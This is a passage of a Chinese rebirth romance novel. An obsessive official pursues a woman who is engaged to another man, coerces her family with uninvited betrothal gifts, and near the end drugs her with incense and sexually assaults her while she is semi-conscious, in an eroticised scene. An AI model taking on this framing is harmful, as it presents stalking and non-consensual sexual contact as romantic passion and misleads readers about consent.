结果转头就奔逃到别的男子身旁,商榷安万万没想到,终有一日对付人的下药手段会被妧枝用在他头上。
她就这么听话,万一给她的是毒药,她也会听信历常珽的倒入他的茶杯里,引导他喝下去?
这是背叛,而背后谋划之人该死。
久不见马车中有反应,商榷安也无耐心再等下去,他示意披甲等人动手。
而一道“住手”呵止住正要行动的下属。
历常珽探身出来站在马车上,神情沉重且肃穆地看着外面火光照耀下的众人,也看到了只身坐立在马背上的商榷安。
二人目光如同光影透着对彼此的敌意与杀气相撞,作为被掠走了定亲的未婚妻的历常珽,难以理解商榷安为何要针对妧枝,那般固执。
他警告道:“阿枝是我将要过门的妻子。榷安,不要再伤害她了,她与你并无瓜葛,也无关系,你再这般下去,不过是自欺欺人,我不会纵容你这般对她。”
商榷安冷漠注视着说着冠冕堂皇的话的历常珽,横扫一眼,淡淡地将他无视过去,对着马车里的人问:“妧枝,你说呢?你和我到底有没有关系?”
上辈子,床榻之上水乳交融。
下了地,府里下人尊称一声“大夫人”。
到了人前,见了他,叫他一句“主家”。
是夫,是妻,历常珽焉能说他与妧枝没有干系?他什么都不知道,便要在此自作聪明!
十多年前,京都雪天,商榷安仿佛又回到了那以一敌百,独自站在所有上京赶考中的学子眼中的那一日。
从楼上铺天而来,一盆掺杂石子的雪水浇到他头上,伴随着的是京中权贵们的笑声。
那些自诩高贵的王孙子弟,当街嘲弄着要将他赶出京都,免得有辱他曾经作为王府子弟的名声。
李氏子弟当时也在酒楼当中,他并不在意历常珽是否会对他出以援手,亲兄弟都不曾搭救,更何况表兄弟。
可这不代表他就是高洁的,商榷安憎恶的也不是他,而是当时的整个豪门权贵。
而历常珽不过夹在当中的他连人脸都不记得的小小一抹灰。
他怎么敢议论妧枝与他人的事?
商榷安露出一抹血腥的笑,盯着靠在门窗旁不小心露出的衣角,继续道:“当年你要进我的门,你求我,说要做我的妇人。”
当年草玄堂的夏日,妧枝那抹被晒红透着汗意的脸庞迷惑了他。
他数度想问,怎么会动摇呢?
“你我同床共枕十余载,低头不见抬头见,即使相敬如宾,难道就能否认你嫁过我?”
旁人听得一头雾水,还有的面色惊骇,弄不明妧枝与商榷安的关系到底是真是假。
商密使说的绘声绘色,字字都像真实发生过。
可是若做了十年夫妻,那岂不是多年前妧娘子就早早嫁给过他?年岁又对不上。
“够了。”历常珽阻止商榷安继续胡言乱语说下去,“别再胡说八道。阿枝及笄后也就正当与你弟弟议过亲,婚约已退,一身清白,何曾嫁过你。”
“商榷安,别再污她清誉!”
话语声停,商榷安没有继续说下去,却是目光越过历常珽,专注看向那道逐步从马车中走出来的身影。
她朝他看过来,却在历常珽身边站定,“你走吧,商榷安。”
“你说的这些,没有人会信。”
是借尸还魂,还是重生一遍,都是世人无法想象的离奇。
妧枝刚才听着,都觉得当年过去好遥远。
她记得商榷安看她的眼神,那天也是这般暑气,白日里旁人几乎不敢出门。
她笨拙而诚实地编织着好话,他的目光沉默而默许,仿佛打动了他。
可是就算她承认他们曾经的关系又怎样?她曾一人在那条路上孤独了很久,走了很久。
她不想走回头路了。
商榷安冷冷听完妧枝的话,他不再与她固执己见,重续从前,“带夫人下来,让锦瀚郡王自己回去。”
“动手。”
他一声令下,披甲等人便上前要控制住其他人,而有两个属下竟趁此摸到了他们的车马边。
只见妧枝挺身挡在了历常珽跟前,护着他,那清高疏冷的容颜也会为了另外一个人而染上焦急担忧的神色。
“不许动他。”
妧枝看到了有弓箭手在商榷安身侧,瞄准了历常珽,她愤然而紧张地朝他瞪过来,宛若化身凶狠的母兽,有着他从未感受过的在乎,“我没有伤害过你的唯真,你不要动他!”
她指着自己的心口,示意他身旁的弓箭手,“我也从未想过和你重修于好,你要射,就射这。”
第72章 争锋夺爱。
妧枝挡在历常珽身前,与那双直勾勾深沉逼视她的眼睛对视,她能瞧见他此时的表情,虽冷冽却不可思议。
他没有再说话,发号施令,只是盯着妧枝,整个人都被郁气笼罩,握住缰绳的手背绷起青筋,身形僵硬。
为了历常珽,妧枝不惜与他作对。
很长时间里,弓箭手没等来商榷安的示意,逐渐将手势放下去,而妧枝成了在场唯一指挥的人。
她道:“都让开。”
披甲下意识看向商榷安,寻求命令,而妧枝依旧警惕不要让周围潜伏的危险有可能伤到她身后的男子。
她让之前被商榷安的下属拉下马的车夫上来,“我们走。”
两边人都不知是否该听她命令,而车夫习惯于在主家吩咐后驱马。
挡在跟前的队伍在死寂般的气氛中,被马车渐渐分开一条路,历常珽带来的下属紧跟着一同离开商榷安等人的视野。
护城河上,还有船只来往,夜深人静,沿着巷子马车驶进了最深巷一户人家。
门房早有被交代,半夜不敢睡得太深了,于是倚在屋檐下角落里守着。
“开门,你家娘子回来了。”
门锁被碰响,下人如被惊醒即刻站起身。
平氏在房中夜不能寐,怀中小女儿已经睡熟了,她将孩子放回榻上,突地外面属于儿子的声音欣喜道:“阿母,阿姐找到了,找到她了。”
妧枝被历常珽从马车上扶下来,在看到平氏前身形有一丝摇晃。
她今夜刚经历一场无比惊心动魄的风波,与历常珽死里逃生后,便偎依着他休息了一路,此时出现在平氏眼中的妧枝,宛若湖里的水藻。
她衣着单薄,纤瘦而缥缈。
“阿母。”妧枝叫了她一声。
平氏眼眶泛红,盈出湿润的光泽,让人快请他们进来,“回来就好,回来就好。”
而历常珽带来的下属被请进屋安置。
妧枝被送回房间,引起的动静让妧柔被惊醒,起来跟婢女说要找阿姐。
于是妧酨便带着她,一行人都到了妧枝房中。
“饿不饿?累不累?要不要伙房烧水给你梳洗一下?”
平氏对失踪归来的长女嘘寒问暖。
妧酨:“阿姐没事就好,实在是担心死我们了。大家都撑着不敢歇息,幸而常珽阿兄将阿姐找到了。”
如今妧酨已将历常珽认定为亲姐夫,言语间对他十分信服。
妧柔:“阿姐,抱。”
妧枝揽过妧柔,一家人团聚在一块,久别重逢感慨万千。
一道身影正在此时正打算静悄悄地走,然而挪动的举止被一道目光瞄住。
“常珽。”
妧枝叫住他,历常珽回头和她对望,他道:“夜已深了,你早些歇息,我……”
妧枝:“是不早了,你就在此住下,不必来回奔波。好吗?”
两双眼睛对视,似乎有着不寻常的气息,平氏在旁有所察觉,同样劝道:“阿枝说得对,太晚了,家中还有多的房间,常珽你不必急着赶回去。今夜就在此歇息吧……”
妧酨:“让常珽阿兄同我住一个院子。”
面对一双双殷切的视线,尤其是妧枝,那双美目含愁,歉意又不舍得看着他,本打算悄悄退出去的历常珽顿时感到足下有千斤重。
“好。”他答应道。
在平氏确认了妧枝安好无恙后,她让婢女带妧柔回去休息,再一同去了妧酨的院子里,给历常珽准备留宿的物品。
原本围着的众人忽然一空,房中便只剩妧枝跟历常珽二人在一起。
这正合妧枝心意,他们有惊无险地回来,虽给平氏等人报了个平安。
可是关于被商榷安追上来的事却一字未说。
但到了这时候,趁着没有他人打扰,单独相处时,妧枝知道她该给历常珽一个交代了。
她和商榷安的关系,不可能再继续隐瞒下去。
“你想不想知道,他今日那番话是从何说起?”妧枝走向历常珽。
她看出他对今夜之事,很难不说没有心存芥蒂,商榷安如要造谣,信口雌黄,那她定然会恼羞成怒想要撇清关系。
但是当时妧枝并没有否认。
这是历常珽在脱险后,送妧枝回来心中一直记挂的心事,本打算好好在此之后琢磨一番。
没想到他的心事,轻易就被妧枝看穿。
他的确很在意商榷安今天夜里那番倾吐,旁人或许以为是胡言蜚语,但据历常珽对商榷安的了解,他本人行事若无九分把握,不会轻易行动。
且如果要做,势必会捏住人七寸,寸寸致命,不留一线生机。
那番动人说辞,若无真实情感,不会轻易吐露。
而他又不想毫无根据地怀疑妧枝。
妧枝在历常珽注视下,抬起眼眸:“我与商榷安,是上一世夫妻。”
“……”
清晨水露,打湿院子里的草木,在枝叶花片上凝结成珠。
天亮后,又消失的无影无踪。
妧酨的院子里,住了一位他未来的姐夫,他颇为兴奋,尤其是这位姐夫待他和颜悦色,满是耐心。
长姐失踪,姐夫焦急非常,不但派人去找,还会兼顾到他们家里,照看他人心情。
妧酨只觉姐姐不容易,从前听从媒妁之命,历经三番,才遇到锦瀚郡王这样的好人家。
他自然也是要待这位姐夫恭敬有加,免得堕了姐姐的面子和名声。
今日他起的很早,有心表现,为母亲平氏分担主持这个家的家事。
他先是问了院子里的下人,常珽阿兄醒了没有,结果下人道:“锦瀚郡王还在房里,没听见吩咐的动静,还在休息呢。”
妧酨觉得昨夜常珽阿兄带他阿姐归家,定然也是辛苦了,未能早起亦是正常。
他学着这些年长之人的做派,故作老成的挥手,“好,你下去吧,在他起身之前不用打扰他,让常珽兄长多歇息会。”
然后他去了妧柔和妧枝院落,得知姐姐也没出房门,于是接了妹妹,便一同到前院里用早食。
母亲平氏还在伙房叮嘱下人,安排郡王和姐姐醒来后要用的吃食,前院再无别人。
不多时,府宅大门被一道急促的声音敲响。
门房赶去将门打开。
妧酨察觉有异,放下妹妹,走出正堂,透过隔墙的窗洞,看清大门外的情形。
他率先瞧见家宅外来了许多人,还抬了许多东西,门房阻拦不及,轻易就被掀开,然后比妧酨见过的送聘阵仗还要大,几乎进来一批人便有箱子不断抬进来。
妧酨不得不在这种情况下挺身而出,他上前试图问:“慢着,你们都是些什么人,为何这般突然闯入我家?还有这些抬的都是什么,谁让你们进来的?”
他瘦弱的身影终于引起那堆人后面的来人注意。
一个下属模样的走到他跟前,面含笑意,彷如对他十分亲切,拱手便是熟稔招呼,“妧小郎君,晨好啊,令堂和令姐可都在家中。”
妧酨不及来人气势,游刃有余,他显得太过青涩,甚为茫然面对当下这副情况,“你又是谁,我好像未曾见过你,你们是来做什么的?”
枕戈笑着安抚,引着妧酨看向门口缓缓踏入进来的另一道身影,将他拢到气度不凡的来者跟前,“妧小郎君,可别见外,焉能说不认识,大家都是熟人。这是我们大郎君商密使,在濉安王府,炙羊席上还曾见过你呢。”
枢密院商密使,朝中权势不亚于宰执的权臣,岂是妧酨这样不值一提的小人物能拉拢上关系的。
他纵然读书不好,却也没笨到愚不可及的地步,对方为何一副这样亲昵的架势要和他认识。
他朝着进来后负手而立,略显得深沉冷漠的人瞧去,因其气势而惊,更对那双漠然睇视过来的冷酷目光感到压力。
“他……”
商榷安看着眼前被下属捉来的妧酨,他身形一如上辈子所见那样瘦弱,见到他历来是既敬畏又喜笑颜开,讨好以对。
但现在他用陌生且畏惧观察的眼神,避开商榷安,“我阿姐还在入睡……阿母倒是起来了,你们是有什么事?”
这一大帮人将家宅门口堵的严严实实,阵仗非比寻常,妧酨担心是来找麻烦的。
然而他听见这位散发着余威,眼神沉郁,面无表情的大郎君轻描淡写道:“我来向你阿姐下聘。”
妧酨如若听过这种道理,且被对方震慑,更抗拒不了对方下属在他肩上控制着的力道,难以挣脱,强颜挤出微笑,“这,这不可能,是弄错了吧?我阿姐已经定亲了,她夫婿是常珽兄长。”
他身旁,男子的下属同样笑道:“妧小郎君,就让我们密使大人,做你姐夫如何?”
“这,这……”
“不行,常珽兄长才是我的姐夫……”
看着油盐不进的妧酨,商榷安想到在木荷堂里第一次与妧枝对峙,她质问他,她弟弟再也不会喊他姐夫了,他高不高兴。
商榷安的确对他感到厌烦,唯唯诺诺,说明妧枝这个弟弟永远活在自己母亲和长姐羽翼之下一无是处。
但是妧枝要嫁给谁,都轮不到这个弟弟说了算。
他示意枕戈放开他。
下一刻,从后院结伴走过来的身影忽然一顿,妧枝瞧见前庭来了数不清一堆闲杂人等,在空地上放置了贴着红封的贵重箱子,登时眉心一跳,当场呵斥,“谁准你们进来的?”
“妧酨,还不快过来。”她又召唤弟弟,十分戒备,不想妧酨与商榷安等人凑做一堆,免得落入其手。
而被下人通知急急赶来的平氏见到这样的情景,也一时弄不清到底出了什么状况。
妧枝和在妧酨院子里留宿一宿的历常珽并排站在一起,隔着空庭台阶,和入了门内的商榷安目光对视。
经过一晚上的休整,妧枝回到妧家,仿佛当着么多人的面,有了与之抗衡的底气,傲然冷视着他,而身旁的历常珽,昨夜一夜未回郡王府。
他是在这座宅子里留宿的,商榷安就知晓了这一消息,他枯坐在安宁宅内,油灯枯竭,他却到了天亮,都未倦累的眨过眼。
整个人好像要浴血沙场一样,神情竟比睡过觉还要精神,周身凛冽。
然后吩咐下面的人,将他准备的东西通通都送来妧家。
他目光只盯了妧枝一瞬,很快的,就转到了她身旁的历常珽身上,他衣着洁净,不是昨夜那套,也不是崭新,应该是平氏为他准备的妧嵘旧衣。
听妧酨说,他来之前妧枝还在睡,历常珽与她结伴一起,他们昨夜是在同一间房内就寝么?
还是同躺一张榻,亲密共眠。
平氏在当中最为年长,在家中来了这么多人,尤其她所见,站在众人之后保持着距离的上位者,乃是濉安王府曾见过的濉安王长子,商榷安。
顿时更加惊奇,不知怎么会引他上门,弄出这样大的场面。
令妧家的宅门大敞,无法悄悄息事宁人,且这样大的动静,已经叫街坊四邻都忍不住出来一探究竟。
平氏为了儿女主动上前,而那头,在见到平氏从不远处过来,商榷安终于也动了一步,往前走,与平氏见礼。
“夫人康健,在下榷安。”
平氏受宠若惊,登时觉得意外,眼前商大郎君和她曾在王府里见到的时候,判若两人。
初时一见,疏离冷漠不说,为了东林寺拒亲一事,平氏私下都为妧枝鸣过不平。
然而今日,这位商大郎君虽然气势还是盛气凌人,可对她却多了许多礼貌。
“是濉安王的长子,商密使商大人吧?”
平氏小心谨慎问:“不知突然登门,是出了什么事……?还是王府那边有何交代……”
妧嵘入狱,多得是曾经有交集的人家落井下石。
但好在妧枝聪慧,领着他们来了新宅安置,又有常珽做依靠,到底没叫他们孤儿寡母流落街头。
对历常珽,平氏从陌生也变得满意。
日渐熟悉之下,只听面前商榷安却道:“夫人可直呼晚辈姓名,我来此,是为了履行当初妧侍郎与濉安王府立下的约定,娶亲。”
平氏神色与方才的妧酨无异,都极为吃惊,“什么?”
商榷安说完恢复安静,默默谛视着眼前的一切。
同时,平氏得不到解释。
却在妧家门口又来了一波人的时候,听见人道:“京都知府来了。”
“知府大人?”
一群官府的人也从外面走进来,只是还未靠近就听见声音道:“有人报官,说是贵宅的大娘子失踪多日,后来被商密使所救,这几日里妧娘子已经与密使大人私定终身了。”
不管是宅内还是宅外,此言一出顿时掀起一片哗然。
为首的京都知府竟当众向平氏靠来,拱手恭喜道:“平夫人,妧大娘子找到了就好啊,本官今日是来为商密使做个见证的,恭喜夫人喜得贵婿,有女如此,可当真争气!”
平氏与妧家的人皆一头雾水,搞不清当下状况。
然而京都知府的话,又印在所有人脑海里,让听清的人都以为妧枝和商榷安要成亲。
可是,可是她长女已经同历常珽定亲了啊!
在越来越多声音共同道贺,引导着舆论的同时,商榷安穿过人群,走向站在正堂门前,并肩而立的一对男女。
他慢慢拾阶而上,一双眼睛盯的是两个人,在历常珽将要拉着妧枝让她躲在他身后时,同样伸出手将她攥住,让她无法向历常珽身后靠近。
三人成夹角争锋之势,商榷安无视在他一旁的历常珽,虎视眈眈盯着妧枝,在逼迫妧枝毫不情愿对上他的视线目光之后,“你以为你可以走,我就拿你全无办法吗?”
“这是我送你的第一份大礼。”
妧枝眼神多了丝怨憎和屈辱,她不想与他有牵扯,想向着历常珽靠近,却被商榷安这边的力道拉扯着无法成功。
商榷安弯下腰,微微俯身在她耳边道:“你恨我啊?恨也是好的。”
他更是勾唇微笑,双眸流动着浓炽的热意,就像昨夜见到妧枝拼死也要护住历常珽时,滚热中更多的是胀痛之意。
“绝不,绝不让你嫁过去。”
第73章 陷阱。
在昨夜妧枝告诉历常珽真相以前,他永远不会相信人死还能复生这件事。
而妧枝和商榷安还有那样一层关系。
整夜他躺在在留宿的屋子里并未安眠,反倒是静想了一夜,于是到了早上,未能像往日那样早起。
说不介怀,自然不是真的。
但当妧枝来院子里找他,出现在他面前那一刻,那谨慎细微对待的模样,与对商榷安两种姿态。
很是敬重的望着他,就如昨夜说的那样,“我知说这些,你会觉得不可思议,但事实的确如此,没有半分作假。”
“今生我与他再无可能,当初拒婚也不只是他一个人的行径,我亦不想再嫁给他,才从中择了他那两个弟弟。”
“至于对你,我原是不想耽误你的,”妧枝细细凝视他说:“我活这一辈子,未曾想过再嫁人,能让我阿母弟妹平安,已是我这辈子最大的心愿。”
“而今他这般乱来,我更加不想连累于你,但我可以向你保证,我心中已有你,再无他半分。”
意犹未尽的话,尚在无言的对视中。
妧枝是想劝历常珽,若他觉着不喜她上辈子跟商榷安做过夫妻,且此人如此不安生,他们的亲事也可以暂缓或是取消。
但她又觉得这不公平,她没做错什么,凭何要让她来舍弃这得之不易的安宁幸福?
她愿意与历常珽共渡难关,但若他不愿意,妧枝亦是不怪他丝毫的。
反倒真心想为他打算,为他好。
舍不得他受一丝委屈。
历常珽当即选择拥妧枝入怀,“我怎么会怪你。”
嫁给商榷安,是妧枝不得已的经历,如今从头来过,她极力想挥别过去,奈何却有人不肯放手。
历常珽当场,在商榷安拉扯住妧枝的臂弯不放时,松开了妧枝,再上前横插抵挡在妧枝与商榷安跟前。
他对商榷安动了手,按住对方手腕,“松手。”
商榷安在妧枝耳边说完那些低语后,已有放松之势,历常珽一来打断,他反倒将妧枝握得更紧了。
然后侧身跟历常珽面对面,二者如今看对方的眼神都充满审视和敌意。
但在看到历常珽第一眼,商榷安就像意识到什么一般,超乎敏锐地问妧枝,“你都告诉他了?”
那样的秘密,妧枝都倾吐给另外一人。
连带他那份,这是对历常珽付诸了多么大的信任?
超越他,而今为了家世,依靠起另外一个男人。
荒谬。
商榷安目光从历常珽、妧枝,以及他们所在的这座宅子乃至平氏等人身上一一扫过。
在此意识到,妧枝的安宁有了别的人选。
不再是他商榷安。
历常珽看着他道:“放手吧,榷安,你攥疼她了。”
商榷安觑见妧枝紧皱的眉心,自然知道她疼,可只有她疼,那张脸对着他时才有别的情绪。
“你我表兄弟一场,我从未想过和你走到针锋相对的地步。”
历常珽继续说:“今日之事,你若不想再闹下去,让阿枝背负骂名,就痛快松开她,我可以跟你相商,你怎样才能别再纠缠她?你想要什么,我都可以代她赔给你。”
“别再让她吃你给过的苦头了。”
商榷安闻言纹丝不动,只是在冰冷的静默中,微微侧转再度看向妧枝,低浅而轻淡地问:“是吗,这就是你同他说的?我给予过你的,全是苦头?”
当年许多事妧枝只看到表面。
她不在官场,不知道,为了她那攀炎附势自命清高的父亲,留下一条性命,保她能父母双全,他在背后运作了多少。
甚至因此他也受了些许牵连,有个乱臣贼子的岳父,身为枢密院密使的他首当其冲也受到多方关注。
那时妧嵘尚且没与薛明烛闹出那等事来,等到他们撕破脸皮,闹得妧家鸡犬不宁时,商榷安都无心去理会。
且她一心只想着还平氏一个公道,薛府那边待薛明烛的事,亦觉得是桩丑闻,只想息事宁人。
妧枝闹得越大,阻止她的人就越多。
她当然不清楚是谁帮她暗中摆平的那些麻烦手脚,更不明白濉安王府有王妃看管,为何还会纵容放任她派人出去,差遣调查。
可最终是她自己放不下,偏要为那些人去烦恼。
弄得最终积郁成疾,芳龄永逝。
到头来,他就成了那罪魁祸首了?
商榷安未理会历常珽的表态,他从始至终都不承认对方跟妧枝的亲事。
他没有休妻。
她亦没有和离。
哪来的再嫁再娶?
松开对妧枝的控制钳制,也不再一心想要从妧枝那里索求一个答案,商榷安目无喜色收回目光,与他二人成了楚河汉界,立场分明,“这是我和她的家务事,任何人都没有插足的资格,更无权在此置喙。”
他不再试图与妧枝拉近距离,而是冷眼看着她跟历常珽。
而平氏那边已经被京都知府的三言两语,糊弄得几乎信以为真,妧枝失踪这几日是被商榷安救了,是以二人已经相处出感情。
妧府聚集了太多的人,平氏在妧嵘下狱后再未历经过这么大的岔子。
她还是朝商榷安的方向走来,“商密使,这事似乎有些不对啊……”
不仅妧酨曾经稀罕他这个姐夫,平氏上辈子也十分看好这个女婿,极力撮合他与妧枝夫妻和睦。
但如今这些人都没有从前记忆,看他的目光也充满距离,并且有些抗拒、犹豫,小心谨慎说:“我夫君从前他是带着阿枝和濉安王府议亲过,但是此事没成……”
“如今阿枝已经和锦瀚郡王议亲了,常珽和阿枝都有婚约在身,所以不适合再跟商密使婚配。”
平氏诚惶诚恐,生怕给儿女惹了麻烦。
字字句句,都彰显历常珽跟他们的关系才最亲近。
商榷安感受着和上一世全然不同的待遇,滋味五味杂陈,然而神情还算淡定。
他对平氏到底没有出言威胁,大放厥词,竟还宽慰平氏,“夫人不必有压力,事在人为,亲事即使妧世叔不在此,对我来说尚且算数,不会有变。”
他一意孤行,下定聘礼,无论平氏露出哪种举棋不定,尴尬为难的表情,都没有改变主意。
商榷安今日来此,不过是为了宣誓主权,让人知晓,妧枝的未婚夫婿可不止有历常珽一个。
而他很快就不再是了。
闹剧随着商榷安带来的人离去而渐渐熄火,庭院里只剩箱箱聘礼丢置在此,街坊四邻也都看了场热闹,在妧家的下人去关门时,笑而不语回到自家院子里。
在场的只剩妧枝历常珽等人,平氏甚是难为情的看向长女跟未来女婿,今日这事可不止是给她出了个难题。
更是让他们二人陷入困境。
尤其商榷安一来就这般阵势,更让作为妧枝真正的未来夫婿的历常珽难堪。
“阿枝,怎生是好?”平氏向女儿求助。
和历常珽对视一眼,二人十指交握,妧枝安抚平氏,“阿母,我不可能嫁他的,我的夫婿只会是常珽。”
这是在向平氏表态,也是妧枝自己的心意。
她给了历常珽极大的肯定,“我会想办法阻止他。”
这场闹剧不过是商榷安想向他宣战,而妧枝跟他的亲事是过了明路的,合情合理也不应该由商榷安来掺一脚。
“这些时日,事情未彻底解决之前,你且不要一个人出门,或是跟我回郡王府。”
“直到成婚那日,我再送你回来。”
历常珽决定将妧枝放在他看得见的地方,妧府显然不能保证妧枝的安危,她就是在自己家门口被掠走的。
商榷安想对她下手,自然是阻拦不了。
但若是在郡王府,多少都不会让人轻易接触到妧枝。
妧枝看向平氏,似乎也理解历常珽这般做法,平氏同意的点头,“那就……去小住些时日,我去帮你收拾些衣物?”
“麻烦阿母了。”
当日,放置着那一地的聘礼不管,妧枝和历常珽立即离开妧家,去到了郡王府。
京都对那日发生的事,随着流言蜚语盛起,越来越多人对此有所耳闻。
传至濉安王府里,李屹其皮笑肉不笑,在濉安王和王妃面前道:“我早说,她跟表兄不清不楚,是个见风使舵,爱慕虚荣的性子。好在我没与她议成亲事,不然今日让人瞧不起的可就是我了。”
有个那样名声的未婚妻,到底是不光彩的。
退了亲的李含翎听着兄长的话,更是阴着脸,“到不知她是什么时候,又勾搭上我们的兄长,闹得这么轰轰烈烈?当时最先议亲的时候,怎么不知商榷安非娶她不可?”
这话的话头指向了这个家中权威最大人影,濉安王坐在椅子上,面色凝重,俨然也不知情,什么时候妧枝与商榷安会发展至此。
明明两个人怎么打探,都不像是有交集的样子。
濉安王妃:“今日常珽派人送信过来,与你说什么了?”
因为妧枝,王府与甘家都少了往来,更甚者历常珽那边也都暂且与这位姨母断了关系。
但这次一早,居然会有郡王府的人上门。
濉安王沉默半晌,这才吐露,“他来送礼,且让我约束好榷安,让他不要纠缠妧嵘的女儿。”
……
御史台的长官御史中丞姓唐,曾受理过不少案件,以纠察弹劾百官整肃纲纪为己任。
不曾想,有朝一日会有一把出乎意料的弹劾白简出现在面前。
“情况若是属实,那本朝官纪可有的肃清了。”
在屋中一旁难得来一趟的宰执薛瑥甫坐在一旁喝着茶,闻言一笑,“要找到我们商密使的污点可不容易,如此郎君,向来可都是滴水不漏,百密无一疏。这次,怎会犯这样的糊涂?”
“那怕是英雄难过美人关,年轻人,总会被乱花迷住了眼。”
“糊涂啊……”
两个老者你一句我一句,最终相视一笑,只见窗外云卷云舒,风云变幻。
妧枝搬进郡王府,几近在明面上表示,她就是郡王府今后的王妃。
她不可能破坏两者婚约,而去答应嫁给濉安王府的长子,商榷安。
她的态度干脆利落,行事手段泾渭分明,可在这京中,所有听闻此事的人都在翘首以盼,这位娘子最终会花落谁家。
郡王虽也是富贵出身,但那位商密使同样是濉安王的继承人,且他如今身在高位,权势不可同日而语。
论地位,怎么选倒是更多人以为,若是选择了密使大人,应是更有前途。
夏日荷花开了满池,郡王府里,妧枝搬进来不过四五日,避是非图清净,远离纷争,彷如过了好几年。
商榷安那边一直未再有动静。
据平氏和妧酨弟妹的来信,妧枝了解到他们将那些聘礼都曾试图送还,结果到了濉安王府都吃了闭门羹。
不得已,只能将东西重新抬回来,暂置一旁。
而外面,似是因为历常珽忽然弹劾起商榷安,如今闹得满城风雨。
不管结果如何,妧枝都已做好与他共同面对的打算,只要历常珽不弃,她便不离。
今日听说是御史台审案的日子,历常珽被请去问话,暂且不在家中。
妧枝亲自剥了一些莲子,想做清热解毒的莲子羹等历常珽回来喝。
这府中清幽,因有看护和下人在,高墙大院都窥探不到内里的情形,妧枝于是放下了戒心。
她在日头正盛中,将莲子羹放去冰镇,随即像往常一样去了历常珽为她准备的卧房歇息。
屋中纱帐因风撩动,有道轻烟却慢慢飘了进去。
躺在床榻之上的妧枝褪了衣履,身着清凉的小衣,玉臂横陈,蒲扇还在身边,却对忽然多出来的香烟气毫无所觉。
第74章 不是会哭,会叫痛的人,……
御史台中,历常珽正在接受唐校之的审问,他将留在妧家的聘礼拟成清单,又带来了证人证词要弹劾商榷安,寻求一个公正。
“郡王和妧家的娘子,是什么时候婚配的?”
“今年清明过后,我上门提亲。”
“在此之前,郡王又如何与妧娘子相识?”
“家中长辈先认识,我是后来与她接触,觉得有缘,这是我与阿枝的婚书……”
“……”
窗外是一眼望去刺眼明亮的炎夏,历常珽和御史台的官员一问一答。
没有风,有的只是无声的喧嚣。
在一间幽静透着一丝光亮的屋子里,妧枝仿佛睡了很久,她原先觉得夏日很热,常珽不在,她做好了吃食在府里等着他。
但时日尚早,还不到隅中,她可以回屋躺下歇一歇。
然而她渐渐熟睡了过去,烈日照旧悬挂在外边,可她却觉得周身有一种清净,还有一丝不该出现的凉意。
那么古怪,怪异,但她睁不开眼皮。
在床榻的一旁,一个男子的身影正注视着眼前的风景,一举一动。
女子紧闭的双目下,有眼珠在游动,似是想尽力睁开双眼,却不得其法,昏沉的意识拖累着她。
让她半醒半寐。
微张的红唇娇艳似火,血气十足,宛若剥了皮的石榴籽,肤色也很白,无一点瑕疵。
皮肉在没有太多衣裳遮掩下,尽显生香活色。
手也软踏踏,来人将她像充作木偶,抬手放下,捏着手腕把玩,然后失去支撑,垂在榻的边缘。
侧躺着的身子可窥见玲珑的曲线,皓腕玉腿,朱唇惹人尝。
男子的影子背着光,低头俯身,似停留在脖颈呼吸处窥香,果然在女子眼皮下的眼珠滚动时,下一刻闭上眼,静悄悄品尝。
先是轻轻含,然后喟叹一声,扣住了女子纤细的脖颈,得寸进尺地攻城掠池,唇齿深入交缠。
另一只手自然而然也往它处游走,肆意作乱。
妧枝一会感觉清凉舒适,一会觉得呼吸乱了,仓促不及,如在水深火热之中被拉拽着不断下沉。
像溺水渴望呼气的旅人,但她发现无论怎么叫,喉咙里都好像发出不了正常的声,反之流淌出来的是一些令人羞红了脸庞,细碎又禁止出现在闺房的轻轻吟哦。
这不对,她不应该听见这些羞人的动静。
且她好像感觉到是从她喉咙里在发出,可是她却无法从浅眠的意识中真正苏醒,只有感官受到的触摸被清晰的传递过来。
是谁在抚摸她?又是谁肆无忌惮闯入她的房中?此刻她真正还在郡王府吗?
男子的手挑开了她的衣裳,妧枝觉得不该是这样,她肌肤之亲的对象,不该是在朦胧意识中的身份模糊之人。
可她无力阻止,稍微抬动手指的推拒,都像是在欲拒还迎。
常珽……饱含一丝委屈,妧枝微微拧眉,双目紧闭,眼尾流露出一颗眼泪。
仿佛知晓事情在往不可挽回,且失控中发生去。
看见那颗泪珠流出后,男子手上沾染微微湿意,亲吻的动作也跟着一顿,只看了一眼,神情莫测,又跟着闭上眼有意无视一般,动作冲动且凶狠起来。
屋外夏蝉鸣叫不止,历常珽坐在御史台中,莫名觉得心慌意乱。
他走到桌旁,为自己倒了一杯茶水。
而尚在审查中了解情况的御史中丞和一旁的薛瑥甫都敏锐地朝他投去目光。
然后道:“历大人稍安勿躁,此事事关多方声誉,可急不了一时,案件还需要办理,历大人很紧张吗?怎么瞧着,还出汗了?”
“天热,我的确心中静不下来,颇为浮躁。”历常珽抓着茶杯,嘲弄道:“见谅。”
“是在担心家里的小娘子吧?”
薛瑥甫忽然说,让历常珽目光瞬间向他看来,“宰执……”
按理说,御史台纠察弹劾官员时,不该有其他大臣在,但薛瑥甫乃是宰执,百官之首,各部都在他调遣管辖之内。
他要旁听,到无人敢有异议。
只是他提及妧枝,历常珽不期然想到失踪已久的薛明烛,薛府是否已经察觉到不对劲了?
“罪臣妧嵘,曾经还在时,我倒是有所耳闻,他家中这个大娘子是个十分有主意的。”
薛瑥甫问:“常珽,你来说说,依你与这位妧大娘子的熟识之度,你觉得她性情如何,是个什么样的人呢?”
历常珽看着薛瑥甫,未能立马回应,似是在揣测他这般问的用意。
是想向他打探什么,为何会突然关注起妧枝?
妧嵘下狱后,薛明烛也音讯全无,莫非怀疑起与妧枝有关……
“阿枝,她是个性情温和不愿与人多生事端的女子。”
在薛瑥甫深沉目光的注视下,历常珽缓缓为妧枝说话。
在他的话语中,一如所想,包含着真心,称赞着心爱之人,一直到薛瑥甫终于露出微笑,表示:“原来在你心中,这个女子有这么多优点。看来常珽,的确用情至深啊……”
之后对方未再提及让他谈妧枝,神色都正常。
历常珽在这波谲诡异的气氛中,蓦然松了口气。
待到喝完茶水,趁着薛瑥甫与唐校之正在议事,历常珽借着在门口走走为由,出了去。
“来个人,帮我把我的长随唤来。”
顾曲一直守在御史台外,为了避嫌,历常珽的亲信都被隔离在外,没有吩咐,都不能踏入御史台内部一步。
直到有人来唤,顾曲飞快赶来见他,“郡王有何吩咐?”
历常珽向他询问:“你过来时,妧娘子可在府中?”
顾曲一愣,根据回忆道:“是……今日出来,妧娘子说要做莲子羹等郡王回去享用。我还看她在剥莲子呢。”
确认过后,历常珽提起的心渐渐安定不少。
在亲信疑惑的眼神中,他挥了挥手,“无事了,只是想问问她可安好……你去外边等我吧。”
“是。”
顾曲一走,历常珽也回到屋子里。
